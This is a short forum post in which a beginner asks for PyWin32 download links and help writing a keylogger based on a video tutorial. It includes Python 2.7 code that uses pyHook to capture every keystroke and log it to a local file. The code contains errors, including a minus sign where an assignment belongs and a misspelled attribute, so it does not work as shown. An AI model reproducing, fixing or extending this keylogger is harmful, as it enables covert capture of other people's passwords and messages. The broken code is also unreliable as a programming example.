I want to write a keylogger using this video: https://www.youtube.com/watch?v=8BiOPBsXh0g
I've got PyHook but on PyWin32 I tried downloading it from the site given in the video. If anyone can send me a download link for it, I will be grateful and this would help me.
BTW I am using Python 2.7 because that is what PyHook is on, I wouldn't mind if you could send me both links for 3.6.3 either that would be good or guide me through it! :D
import pyHook, pythoncom, sys, logging
file_log - 'C:\\important\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.manger.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()